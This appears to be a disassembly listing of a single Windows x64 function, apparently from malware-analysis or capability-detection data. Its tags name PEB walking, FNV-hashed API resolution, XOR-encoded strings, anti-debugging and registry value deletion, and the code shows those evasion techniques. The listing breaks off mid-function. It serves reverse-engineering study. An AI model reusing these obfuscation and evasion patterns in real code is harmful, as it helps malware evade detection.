Function at 0x14003e920
Capabilities:
Access peb ldr_data
Delete registry value
Encode data using xor
Execute anti-debugging instructions
Get storage device properties
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x39d8]
mov eax, 0x3ad8
call fcn.140079820
sub rsp, rax
movaps xmmword [rsp + 0x3ac0], xmm6
mov dword [rsp + 0x70], 0
xor eax, eax
mov byte [rbp + 0x3a38], al
mov byte [rbp - 3], al
lea rcx, [rbp + 0x3470]
call fcn.140074aa0
movabs rcx, 0xba7cd42424efea2a
movabs rdx, 0xcf9dcc34b552d1e5
movabs rbx, 0x652bcbf52207d209
movabs rsi, 0xba38d454249fea6b
movabs r8, 0xde4f68eb26662b22
movabs r9, 0x5c9074f4bcb63132
movabs r10, 0x31a40429c3cb57c8
mov qword [rbp + 0xa60], rsi
movabs rdi, 0xcfc1cc55b526d184
mov qword [rbp + 0xa68], rdi
movabs r11, 0x654acb962268d245
mov qword [rbp + 0xa70], r11
movabs r14, 0xde2a68bf263a2b4e
mov qword [rbp + 0xa78], r14
movabs r11, 0x5c9074a8bcc6315f
mov qword [rbp + 0xa80], r11
mov qword [rbp + 0xa88], r10
mov qword [rbp + 0x420], rcx
mov qword [rbp + 0x428], rdx
mov qword [rbp + 0x430], rbx
mov qword [rbp + 0x438], r8
mov qword [rbp + 0x440], r9
mov qword [rbp + 0x448], r10
xor ecx, ecx
mov byte [rbp - 2], cl
movdqa xmm0, xmmword [rbp + 0x420]
pxor xmm0, xmmword [rbp + 0xa60]
movdqa xmmword [rbp + 0x420], xmm0
movdqa xmm1, xmmword [rbp + 0x430]
pxor xmm1, xmmword [rbp + 0xa70]
movdqa xmmword [rbp + 0x430], xmm1
movdqa xmm0, xmmword [rbp + 0x440]
pxor xmm0, xmmword [rbp + 0xa80]
movdqa xmmword [rbp + 0x440], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x420]
mov rcx, rax
call fcn.14004f3b0
mov rbx, rax
lea rcx, [rbp + 0x3470]
call fcn.14002fcd0
cmp rbx, 0xffffffffffffffff
je 0x14003f018
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1890], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x14003eb30
mov r9, qword [rbp + 0x1898]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x14003eb27
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x14003eb00
cmp r10d, esi
jne 0x14003ec77
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x14003ec7f
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, rdi
cmp r15, rdi
je 0x14003ec77
mov r11d, dword [r15 + 0x18]
test r11d, r11d
je 0x14003ec77
mov r12d, dword [r15 + 0x20]
dec r11d
lea rcx, [rdi + r11*4]
mov r9d, dword [rcx + r12]
add r9, rdi
mov r10d, 0x811c9dc5
movzx ebx, byte [r9]
inc r9
test bl, bl
je 0x14003ebb7
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x14003eb90
cmp r10d, r8d
je 0x14003ebc9
test r11d, r11d
jne 0x14003eb70
mov rax, qword [rax]
jmp 0x14003eac0
mov ecx, dword [r15 + 0x24]
add rcx, rdi
movzx edx, word [rcx + r11*2]
mov ecx, dword [r15 + 0x1c]
add rcx, rdi
mov ebx, dword [rcx + rdx*4]
add rbx, rdi
cmp rbx, r15
jbe 0x14003ec81
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x14003ec81
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x14003ec34
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x14003ec10
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x14003ec66
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x14003ec40
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003eac0
xor ebx, ebx
movabs rax, 0xba38d454249fea6b
mov qword [rbp + 0x10b0], rax
movabs rdx, 0xcfc1cc55b526d184
mov qword [rbp + 0x10b8], rdx
movabs rax, 0x971880046dcda138
mov qword [rbp + 0x190], rax
movabs rax, 0xcfc1be3ac75494a4
mov qword [rbp + 0x198], rax
movdqa xmm0, xmmword [rbp + 0x190]
pxor xmm0, xmmword [rbp + 0x10b0]
movdqa xmmword [rbp + 0x190], xmm0
movabs rdi, 0x34e454c5d3b4577f
movabs rsi, 0x43c524798a9177ad
movabs r8, 0xde5db13a04ea8532
movabs r9, 0xbdb5b4309549a5a4
movabs r10, 0x452fa3e2021cb124
movabs r11, 0xac4f00dc484f4a22
movabs rcx, 0x4a4365050977f614
movabs rax, 0xba38d454249fea6b
movabs r14, 0x839528fff9aee57a
movabs r15, 0x197f48096eec07c0
movabs r12, 0xabfa825c2a6774b3
movabs r13, 0xfef53ca9301d9b4d
mov qword [rbp + 0xce0], rax
mov qword [rbp + 0xce8], rdx
movabs rax, 0x654acb962268d245
mov qword [rbp + 0xcf0], rax
movabs rax, 0xde2a68bf263a2b4e
mov qword [rbp + 0xcf8], rax
movabs rax, 0x5c9074a8bcc6315f
mov qword [rbp + 0xd00], rax
movabs rax, 0x31a40429c3cb57c8
mov qword [rbp + 0xd08], rax
movabs rdx, 0xeaf3089a8fc78d19
mov qword [rbp + 0xd10], rdx
movabs rax, 0x563b4203409874b2
mov qword [rbp + 0xd18], rax
movabs rax, 0xce88e17c7e283a93
mov qword [rbp + 0xd20], rax
movabs rax, 0x959655dd1078ef2c
mov qword [rbp + 0xd28], rax
movabs rax, 0xb889d0fe6c06a4ed
mov qword [rbp + 0xd30], rax
movabs rax, 0xe1be92c77ec65a96
mov qword [rbp + 0xd38], rax
movabs rax, 0xe69448f09e258da7
mov qword [rbp + 0xd40], rax
movabs rax, 0xbd5baf51cf91e570
mov qword [rbp + 0xd48], rax
movabs rax, 0xacf30ea2aa637441
mov qword [rbp + 0xd50], rax
movabs rax, 0xf1f82eeb88442f7a
mov qword [rbp + 0xd58], rax
movabs rax, 0x977bae046e320c7b
mov qword [rbp + 0xd60], rax
mov qword [rbp + 0xd68], rcx
mov qword [rbp + 0x6b0], r8
mov qword [rbp + 0x6b8], r9
mov qword [rbp + 0x6c0], r10
mov qword [rbp + 0x6c8], r11
mov qword [rbp + 0x6d0], rdi
mov qword [rbp + 0x6d8], rsi
mov qword [rbp + 0x6e0], r14
mov qword [rbp + 0x6e8], r15
mov qword [rbp + 0x6f0], r12
mov qword [rbp + 0x6f8], r13
movabs rax, 0x98fbbf984c75d088
mov qword [rbp + 0x700], rax
movabs rax, 0xa4e9b2eb0eaa3ffe
mov qword [rbp + 0x708], rax
movabs rax, 0xa9da68bcd26cda87
mov qword [rbp + 0x710], rax
movabs rax, 0xca7bff1d8ad9c524
mov qword [rbp + 0x718], rax
movabs rax, 0xc5806fc08a0b0028
mov qword [rbp + 0x720], rax
movabs rax, 0x87914688fa250f19
mov qword [rbp + 0x728], rax
movabs rax, 0xb91ec9651d472c1e
mov qword [rbp + 0x730], rax
mov qword [rbp + 0x738], rcx
movdqa xmm0, xmmword [rbp + 0x6b0]
pxor xmm0, xmmword [rbp + 0xce0]
movdqa xmmword [rbp + 0x6b0], xmm0
movdqa xmm1, xmmword [rbp + 0x6c0]
pxor xmm1, xmmword [rbp + 0xcf0]
movdqa xmmword [rbp + 0x6c0], xmm1
movdqa xmm0, xmmword [rbp + 0x6d0]
pxor xmm0, xmmword [rbp + 0xd00]
movdqa xmmword [rbp + 0x6d0], xmm0
movdqa xmm1, xmmword [rbp + 0x6e0]
pxor xmm1, xmmword [rbp + 0xd10]
movdqa xmmword [rbp + 0x6e0], xmm1
movdqa xmm0, xmmword [rbp + 0x6f0]
pxor xmm0, xmmword [rbp + 0xd20]
movdqa xmmword [rbp + 0x6f0], xmm0
movdqa xmm1, xmmword [rbp + 0x700]
pxor xmm1, xmmword [rbp + 0xd30]
movdqa xmmword [rbp + 0x700], xmm1
movdqa xmm0, xmmword [rbp + 0x710]
pxor xmm0, xmmword [rbp + 0xd40]
movdqa xmmword [rbp + 0x710], xmm0
movdqa xmm1, xmmword [rbp + 0x720]
pxor xmm1, xmmword [rbp + 0xd50]
movdqa xmmword [rbp + 0x720], xmm1
movdqa xmm0, xmmword [rbp + 0x730]
pxor xmm0, xmmword [rbp + 0xd60]
movdqa xmmword [rbp + 0x730], xmm0
lea r8, [rbp + 0x190]
lea rdx, [rbp + 0x6b0]
jmp 0x140046f7b
cmp word [0x7ffe0030], 0x43
je 0x14003fc19
movabs r8, 0xba18d47a24bdea51
movabs r9, 0xcfe1cc30b54ed1d0
movabs r10, 0x653ecbf02207d236
movabs r11, 0xde4f68cd265b2b39
movabs r15, 0x5cdc74e1bc91317f
movabs r12, 0x31eb0467c3eb5784
movabs r13, 0xeaa608dc8fe78d4d
mov qword [rbp + 0xe10], rsi
mov qword [rbp + 0xe18], rdi
movabs rax, 0x654acb962268d245
mov qword [rbp + 0xe20], rax
mov qword [rbp + 0xe28], r14
movabs rax, 0x5c9074a8bcc6315f
mov qword [rbp + 0xe30], rax
movabs rax, 0x31a40429c3cb57c8
mov qword [rbp + 0xe38], rax
movabs r14, 0xeaf3089a8fc78d19
mov qword [rbp + 0xe40], r14
movabs rsi, 0x563b4203409874b2
mov qword [rbp + 0xe48], rsi
movabs rdi, 0xce88e17c7e283a93
mov qword [rbp + 0xe50], rdi
movabs rbx, 0x959655dd1078ef2c
mov qword [rbp + 0xe58], rbx
movabs rax, 0xb889d0fe6c06a4ed
mov qword [rbp + 0xe60], rax
movabs rax, 0xe1be92c77ec65a96
mov qword [rbp + 0xe68], rax
movabs rax, 0xe69448f09e258da7
mov qword [rbp + 0xe70], rax
movabs rax, 0xbd5baf51cf91e570
mov qword [rbp + 0xe78], rax
movabs rax, 0xacf30ea2aa637441
mov qword [rbp + 0xe80], rax
movabs rax, 0xf1f82eeb88442f7a
mov qword [rbp + 0xe88], rax
movabs rax, 0x977bae046e320c7b
mov qword [rbp + 0xe90], rax
movabs rcx, 0x4a4365050977f614
mov qword [rbp + 0xe98], rcx
movabs rax, 0x428da546cfabead5
mov qword [rbp + 0xea0], rax
movabs rdx, 0x907145ef8629cade
mov qword [rbp + 0xea8], rdx
movabs rax, 0xea82ded89540f8ef
mov qword [rbp + 0xeb0], rax
movabs rax, 0x833038d92f5effd8
mov qword [rbp + 0xeb8], rax
movabs rax, 0x11d0bfca36204a29
mov qword [rbp + 0xec0], rax
movabs rax, 0x79dcc8331c2473c2
mov qword [rbp + 0xec8], rax
movabs rax, 0x96ef472cbc0a4d23
mov qword [rbp + 0xed0], rax
movabs rax, 0xd156610d71cd373c
mov qword [rbp + 0xed8], rax
movabs rax, 0xad2967aebdf1d57d
mov qword [rbp + 0xee0], rax
movabs rax, 0xbeb3ed7727489b26
mov qword [rbp + 0xee8], rax
movabs rax, 0x498ab6a047c56bb7
mov qword [rbp + 0xef0], rax
movabs rax, 0xc3466e01c326e180
mov qword [rbp + 0xef8], rax
movabs rax, 0xddd9c9d205ec7351
mov qword [rbp + 0xf00], rax
movabs rax, 0x1798b19b46677f0a
mov qword [rbp + 0xf08], rax
movabs rax, 0x1091a434ae6f930b
mov qword [rbp + 0xf10], rax
movabs rax, 0x3d584835a4cefda4
mov qword [rbp + 0xf18], rax
movabs rax, 0xf4d48276768d0ae5
mov qword [rbp + 0xf20], rax
movabs rax, 0x66c1591f1ef7256e
mov qword [rbp + 0xf28], rax
movabs rax, 0xa49549087424f67f
mov qword [rbp + 0xf30], rax
movabs rax, 0x891af789b44fa5e8
mov qword [rbp + 0xf38], rax
movabs rax, 0xf3198c7ae05434b9
mov qword [rbp + 0xf40], rax
movabs rax, 0x2c23a5631725e852
mov qword [rbp + 0xf48], rax
mov qword [rbp + 0x740], r8
mov qword [rbp + 0x748], r9
mov qword [rbp + 0x750], r10
mov qword [rbp + 0x758], r11
mov qword [rbp + 0x760], r15
mov qword [rbp + 0x768], r12
mov qword [rbp + 0x770], r13
movabs rax, 0x5672425740db74fc
mov qword [rbp + 0x778], rax
movabs rax, 0xceffe15c7e663adc
mov qword [rbp + 0x780], rax
movabs rax, 0x95b655b5100cef45
mov qword [rbp + 0x788], rax
movabs rax, 0xb8fad0976c6ea499
mov qword [rbp + 0x790], rax
movabs rax, 0xe1d792b57ea25ab6
mov qword [rbp + 0x798], rax
movabs rax, 0xe6f748d09e408dd1
mov qword [rbp + 0x7a0], rax
movabs rax, 0xbd32af37cfffe51f
mov qword [rbp + 0x7a8], rax
movabs rax, 0xac920ed0aa167426
mov qword [rbp + 0x7b0], rax
movabs rax, 0xf1962e84882d2f0e
mov qword [rbp + 0x7b8], rax
movabs rax, 0x972bae0e6e380c55
mov qword [rbp + 0x7c0], rax
movabs rax, 0x4a3065640912f678
mov qword [rbp + 0x7c8], rax
movabs rax, 0x42e8a534cf8beab0
mov qword [rbp + 0x7d0], rax
movabs rax, 0x9005459c8647cab7
mov qword [rbp + 0x7d8], rax
movabs rax, 0xeaa2deb4952cf88e
mov qword [rbp + 0x7e0], rax
movabs rax, 0x835438b72f37ffaf
mov qword [rbp + 0x7e8], rax
movabs rax, 0x11f0bfb936574a46
mov qword [rbp + 0x7f0], rax
movabs rax, 0x79a8c8131c4b73b1
mov qword [rbp + 0x7f8], rax
movabs rax, 0x969c470cbc6f4d4b
mov qword [rbp + 0x800], rax
movabs rax, 0xd133617971be3745
mov qword [rbp + 0x808], rax
movabs rax, 0xad5a67c7bdd1d510
mov qword [rbp + 0x810], rax
movabs rax, 0xbec0ed1927219b06
mov qword [rbp + 0x818], rax
movabs rax, 0x49e6b6cc47a46bc3
mov qword [rbp + 0x820], rax
movabs rax, 0xc3296e21c342e1e5
mov qword [rbp + 0x828], rax
movabs rax, 0xddf9c9b305cc733f
mov qword [rbp + 0x830], rax
movabs rax, 0x17eeb1f246157f6e
mov qword [rbp + 0x838], rax
movabs rax, 0x10f8a443ae4f936e
mov qword [rbp + 0x840], rax
movabs rax, 0x3d2c4815a4a6fdd0
mov qword [rbp + 0x848], rax
movabs rax, 0xf4b0825676e80a8d
mov qword [rbp + 0x850], rax
movabs rax, 0x66b4597e1e91250b
mov qword [rbp + 0x858], rax
movabs rax, 0xa4f949287450f613
mov qword [rbp + 0x860], rax
movabs rax, 0x897ff7fdb43ba58d
mov qword [rbp + 0x868], rax
movabs rax, 0xf35a8c58e07434cb
mov qword [rbp + 0x870], rax
movabs rax, 0x2c23a5631707e868
mov qword [rbp + 0x878], rax
movdqa xmm0, xmmword [rbp + 0x740]
pxor xmm0, xmmword [rbp + 0xe10]
movdqa xmmword [rbp + 0x740], xmm0
movdqa xmm1, xmmword [rbp + 0x750]
pxor xmm1, xmmword [rbp + 0xe20]
movdqa xmmword [rbp + 0x750], xmm1
movdqa xmm0, xmmword [rbp + 0x760]
pxor xmm0, xmmword [rbp + 0xe30]
movdqa xmmword [rbp + 0x760], xmm0
movdqa xmm1, xmmword [rbp + 0x770]
pxor xmm1, xmmword [rbp + 0xe40]
movdqa xmmword [rbp + 0x770], xmm1
movdqa xmm0, xmmword [rbp + 0x780]
pxor xmm0, xmmword [rbp + 0xe50]
movdqa xmmword [rbp + 0x780], xmm0
movdqa xmm1, xmmword [rbp + 0x790]
pxor xmm1, xmmword [rbp + 0xe60]
movdqa xmmword [rbp + 0x790], xmm1
movdqa xmm0, xmmword [rbp + 0x7a0]
pxor xmm0, xmmword [rbp + 0xe70]
movdqa xmmword [rbp + 0x7a0], xmm0
movdqa xmm1, xmmword [rbp + 0x7b0]
pxor xmm1, xmmword [rbp + 0xe80]
movdqa xmmword [rbp + 0x7b0], xmm1
movdqa xmm0, xmmword [rbp + 0x7c0]
pxor xmm0, xmmword [rbp + 0xe90]
movdqa xmmword [rbp + 0x7c0], xmm0
movdqa xmm1, xmmword [rbp + 0x7d0]
pxor xmm1, xmmword [rbp + 0xea0]
movdqa xmmword [rbp + 0x7d0], xmm1
movdqa xmm0, xmmword [rbp + 0x7e0]
pxor xmm0, xmmword [rbp + 0xeb0]
movdqa xmmword [rbp + 0x7e0], xmm0
movdqa xmm1, xmmword [rbp + 0x7f0]
pxor xmm1, xmmword [rbp + 0xec0]
movdqa xmmword [rbp + 0x7f0], xmm1
movdqa xmm0, xmmword [rbp + 0x800]
pxor xmm0, xmmword [rbp + 0xed0]
movdqa xmmword [rbp + 0x800], xmm0
movdqa xmm1, xmmword [rbp + 0x810]
pxor xmm1, xmmword [rbp + 0xee0]
movdqa xmmword [rbp + 0x810], xmm1
movdqa xmm0, xmmword [rbp + 0x820]
pxor xmm0, xmmword [rbp + 0xef0]
movdqa xmmword [rbp + 0x820], xmm0
movdqa xmm1, xmmword [rbp + 0x830]
pxor xmm1, xmmword [rbp + 0xf00]
movdqa xmmword [rbp + 0x830], xmm1
movdqa xmm0, xmmword [rbp + 0x840]
pxor xmm0, xmmword [rbp + 0xf10]
movdqa xmmword [rbp + 0x840], xmm0
movdqa xmm1, xmmword [rbp + 0x850]
pxor xmm1, xmmword [rbp + 0xf20]
movdqa xmmword [rbp + 0x850], xmm1
movdqa xmm0, xmmword [rbp + 0x860]
pxor xmm0, xmmword [rbp + 0xf30]
movdqa xmmword [rbp + 0x860], xmm0
movdqa xmm1, xmmword [rbp + 0x870]
pxor xmm1, xmmword [rbp + 0xf40]
movdqa xmmword [rbp + 0x870], xmm1
movzx edx, word [0x7ffe0030]
lea rcx, [rbp + 0x3290]
call fcn.1400539b0
nop
movabs rax, 0xba4ad42124f0ea32
movabs rcx, 0xcfafcc3cb571d1a4
movabs rdx, 0x6539cbe12207d221
movabs r8, 0xde5968d126532b6e
movabs r9, 0x5cfc74c4bca7312b
movabs r10, 0x31cb0440c3bf57a9
movabs r11, 0xea8108fe8fe78d77
movabs r15, 0x561b426640ee74db
movabs r12, 0xceaae15c7e5b3afa
movabs r13, 0xba38d454249fea6b
mov qword [rbp + 0xbd0], r13
movabs r13, 0xcfc1cc55b526d184
mov qword [rbp + 0xbd8], r13
movabs r13, 0x654acb962268d245
mov qword [rbp + 0xbe0], r13
movabs r13, 0xde2a68bf263a2b4e
mov qword [rbp + 0xbe8], r13
movabs r13, 0x5c9074a8bcc6315f
mov qword [rbp + 0xbf0], r13
movabs r13, 0x31a40429c3cb57c8
mov qword [rbp + 0xbf8], r13
mov qword [rbp + 0xc00], r14
mov qword [rbp + 0xc08], rsi
mov qword [rbp + 0xc10], rdi
mov qword [rbp + 0xc18], rbx
mov qword [rbp + 0x500], rax
mov qword [rbp + 0x508], rcx
mov qword [rbp + 0x510], rdx
mov qword [rbp + 0x518], r8
mov qword [rbp + 0x520], r9
mov qword [rbp + 0x528], r10
mov qword [rbp + 0x530], r11
mov qword [rbp + 0x538], r15
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], rbx
movdqa xmm0, xmmword [rbp + 0x500]
pxor xmm0, xmmword [rbp + 0xbd0]
movdqa xmmword [rbp + 0x500], xmm0
movdqa xmm1, xmmword [rbp + 0x510]
pxor xmm1, xmmword [rbp + 0xbe0]
movdqa xmmword [rbp + 0x510], xmm1
movdqa xmm0, xmmword [rbp + 0x520]
pxor xmm0, xmmword [rbp + 0xbf0]
movdqa xmmword [rbp + 0x520], xmm0
movdqa xmm1, xmmword [rbp + 0x530]
pxor xmm1, xmmword [rbp + 0xc00]
movdqa xmmword [rbp + 0x530], xmm1
movdqa xmm0, xmmword [rbp + 0x540]
pxor xmm0, xmmword [rbp + 0xc10]
movdqa xmmword [rbp + 0x540], xmm0
lea r8, [rbp + 0x3290]
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x3490]
call fcn.140054d30
nop
lea rdx, [rbp + 0x740]
mov rcx, 0xffffffffffffffff
inc rcx
cmp word [rdx + rcx*2], 0
jne 0x14003f911
mov r8, rcx
lea rdx, [rbp + 0x740]
mov rcx, rax
call fcn.140058a70
mov rdx, rax
lea rcx, [rbp + 0x3390]
call fcn.14002fdd0
nop
lea rcx, [rbp + 0x3490]
call fcn.14002fcd0
nop
lea rcx, [rbp + 0x3290]
call fcn.14002fcd0
xor esi, esi
mov edi, 0x3625758e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1880], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x14003f9e0
mov r8, qword [rbp + 0x1888]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x14003f9d7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x14003f9b0
cmp r9d, esi
jne 0x14003fb25
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14003fb2d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x14003fb25
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x14003fb25
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov r8d, dword [rcx + r12]
add r8, r11
mov r9d, 0x811c9dc5
movzx ebx, byte [r8]
inc r8
test bl, bl
je 0x14003fa67
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x14003fa40
cmp r9d, edi
je 0x14003fa79
test r10d, r10d
jne 0x14003fa20
mov rax, qword [rax]
jmp 0x14003f970
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x14003fb2f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x14003fb2f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x14003fae4
nop word [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x14003fac0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x14003fb14
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x14003faf0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003f970
xor ebx, ebx
movabs rax, 0xba38d454249fea6b
mov qword [rbp + 0x1360], rax
movabs rax, 0xcfc1cc55b526d184
mov qword [rbp + 0x1368], rax
movabs rax, 0x654acb962268d245
mov qword [rbp + 0x1370], rax
movabs rax, 0xde2a68bf263a2b4e
mov qword [rbp + 0x1378], rax
movabs rax, 0xba71d40624d4ea38
mov qword [rbp + 0x370], rax
movabs rax, 0xcfeccc75b572d1d4
mov qword [rbp + 0x378], rax
movabs rax, 0x6538cbe4222dd265
mov qword [rbp + 0x380], rax
movabs rax, 0xde2a68bf26482b21
mov qword [rbp + 0x388], rax
movdqa xmm0, xmmword [rbp + 0x370]
pxor xmm0, xmmword [rbp + 0x1360]
movdqa xmmword [rbp + 0x370], xmm0
movdqa xmm1, xmmword [rbp + 0x380]
pxor xmm1, xmmword [rbp + 0x1370]
movdqa xmmword [rbp + 0x380], xmm1
lea rcx, [rbp + 0x3390]
call fcn.14002b150
mov r9d, 0x40010
lea r8, [rbp + 0x370]
mov rdx, rax
xor ecx, ecx
call rbx
nop
lea rcx, [rbp + 0x3390]
call fcn.14002fcd0
jmp 0x140046f85
lea rcx, [rbp + 0x80]
call fcn.14001c9e0
nop
xor esi, esi
mov edi, 0xfa19af96
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x10c0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x14003fcb0
mov r8, qword [rbp + 0x10c8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x14003fca7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x14003fc80
cmp r9d, esi
jne 0x14003fe05
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14003fe0d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov qword [rbp + 8], rdx
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x14003fe05
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x14003fe05
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x14003fd47
nop word [rax + rax]
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x14003fd20
cmp r9d, edi
je 0x14003fd59
test r10d, r10d
jne 0x14003fcf4
mov rax, qword [rax]
jmp 0x14003fc40
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r15
jbe 0x14003fe0f
lea rax, [r15 + r13]
cmp rdx, rax
jae 0x14003fe0f
mov esi, 0x811c9dc5
mov edi, esi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x14003fdc4
nop word [rax + rax]
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x14003fda0
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x14003fdf4
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x14003fdd0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14003fc40
xor edx, edx
mov ecx, 0x20
call rdx
mov r15, rax
test rax, rax
je 0x14003ffbc
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x20]
mov ebx, eax
lea r8, [rbp - 1]
movzx edx, byte [rbp]
lea rcx, [rbp + 0x230]
call fcn.14001c9e0
lea r8, [rbp + 1]
mov edx, ebx
lea rcx, [rbp + 0x230]
call fcn.140055900
nop
xor r14d, r14d
mov rcx, qword [rbp + 0x238]
mov rbx, qword [rbp + 0x230]
sub rcx, rbx
movabs r13, 0x76b981dae6076b99
mov rax, r13
imul rcx
sar rdx, 9
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x14003ffa6
xor r12d, r12d
nop
add rbx, r12
mov rax, qword [r15]
mov rax, qword [rax + 0x28]
mov r9, rbx
xor r8d, r8d
mov edx, r14d
mov rcx, r15
call rax
test eax, eax
jne 0x14003ff6b
lea rdx, [rbx + 0x200]
mov rax, rdx
cmp byte [rdx], 0
je 0x14003fec8
nop
inc rax
cmp byte [rax], 0
jne 0x14003fec0
sub rax, rdx
lea r8, [rax + 0x200]
add r8, rbx
lea r9, [rbp + 2]
